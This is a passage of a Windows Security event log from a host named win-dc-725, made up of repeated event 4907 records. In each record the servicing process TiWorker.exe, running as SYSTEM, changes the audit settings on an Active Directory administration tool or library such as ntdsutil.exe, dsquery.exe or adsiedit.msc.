AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\repadmin.exe - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247375 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\rendom.exe - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247374 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\redirusr.exe - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247373 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\redircmp.exe - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247372 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntfrsapi.dll - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247371 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ntdsutil.exe - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247370 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ldp.exe - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247369 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ldifde.exe - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247368 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\gpfixup.exe - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247367 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsuiwiz.dll - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247366 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dssite.msc - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247365 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsrm.exe - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247364 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsquery.exe - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247363 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsmove.exe - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247362 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsmod.exe - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247361 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsmgmt.exe - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247360 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsget.exe - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247359 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsdbutil.exe - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247358 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsadmin.dll - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247357 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsadd.exe - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247356 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsacn.dll - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247355 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsacls.exe - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247354 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsac.exe - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247353 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsa.msc - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247352 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\domain.msc - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247351 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\domadmin.dll - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247350 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\delegwiz.inf - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247349 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dcpromoui.dll - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247348 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dcpromocmd.dll - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247347 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dcdiag.exe - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247346 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\csvde.exe - Handle ID: 0xb08 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247345 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adsiedit.msc - Handle ID: 0x6f8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247344 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adsiedit.dll - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247343 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprop.dll - Handle ID: 0x5b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247342 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_administrative_tools_50eba26877c48094.cdf-ms - Handle ID: 0x5dc - -Process Information: - Process ID: 0xd00 - Process Name: 